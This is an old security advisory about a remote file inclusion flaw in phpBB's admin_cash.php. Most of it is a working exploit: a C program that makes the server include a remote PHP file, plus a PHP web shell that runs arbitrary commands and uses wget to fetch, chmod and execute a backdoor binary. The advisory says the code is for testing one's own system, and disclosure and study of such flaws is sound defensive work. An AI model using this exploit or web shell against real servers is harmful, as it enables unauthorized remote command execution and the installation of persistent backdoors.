[UNIX] phpBB admin_cash.php File Include Vulnerability (Exploit)

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Date: 11/29/04

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      phpBB admin_cash.php File Include Vulnerability (Exploit)
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    SUMMARY

    " <http://www.phpbb.com/> phpBB is a high powered, fully scalable, and
    highly customizable Open Source bulletin board package". A vulnerability
    in phpBB's admin_cash.php file allows a remote attacker to cause the
    program to include arbitrary PHP files and execute their content. The
    following exploit code can be used to test your system for the mentioned
    vulnerability.

    DETAILS

    Vulnerable Systems:
     * phpBB version 1.0.0 up to version 2.0.10

    Exploit:
    /*
     exploit for phpBB 1.0.0 - 2.0.10
     
     edit the b4b0.php file with the correct url to your backdoor and the
    correct filename for your backdoor upload it to
     a webserver.

     gcc -o b4b0-phpbb b4b0-phpbb.c

    /b4b0-phpbb <url_to_system> <phpbb_dir> <url_to_b4b0.php>
    telnet <url_of_exploited_system> <port_of_back_door>

    greets to b4b0

     -- evilrabbi
    */

    #include <stdio.h>
    #include <string.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>

    void help(char *program_name);

    int main(int argc, char *argv[]) {

            struct sockaddr_in trg;
            struct hostent *he;

            int sockfd, buff;
     char buffer[1024];
     char *request;

     if(argc != 4 ) {
      help(argv[0]);
      exit(0);
     }
     
            he = gethostbyname(argv[1]);
            sockfd = socket(AF_INET, SOCK_STREAM, 0);
     request = (char *) malloc(1024);

            trg.sin_family = AF_INET;
            trg.sin_port = htons(80);
            trg.sin_addr = *((struct in_addr *) he->h_addr);
            memset(&(trg.sin_zero), '\0', 8);
     
     connect(sockfd, (struct sockaddr *)&trg, sizeof(struct sockaddr));
     sprintf(request,"GET
    http://%s/%s/admin/admin_cash.php?setmodules=1&phpbb_root_path=http://%s?cmd=w\n",argv[1],argv[2],argv[3]);
     send(sockfd,request,strlen(request),0);
     buff=recv(sockfd, buffer, 1024-1, 0);
     buffer[buff] = '\0';
     printf("%s",buffer);
     close(sockfd);
     return 0;

    }

    void help(char *program_name) {

     printf("b4b0-phpbb.c by evilrabbi for b4b0\n\n");
     printf("%s hostname phpbb2_dir url_to_bad_php\n",program_name);
     printf("%s www.example.com phpBB2 blah.com/b4b0.php.php\n",program_name);
    }

    b4b0.php
    b4b0 kickin ass again.......
    System was exploited telnet to the port you have your backdoor set to
    listen on.
    <?
     if (isset($chdir)) @chdir($chdir);
      ob_start();
      system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp");
       system("cd /tmp; wget url_to_backdoor;chmod +x
    backdoor_name;./backdoor_name"); // EDIT THIS INFO!!!!!!!!!!!!!
       $output = ob_get_contents();
      ob_end_clean();
      if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<",
    $output));
    ?>

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:jerome@athias.fr> Jerome
    ATHIAS.

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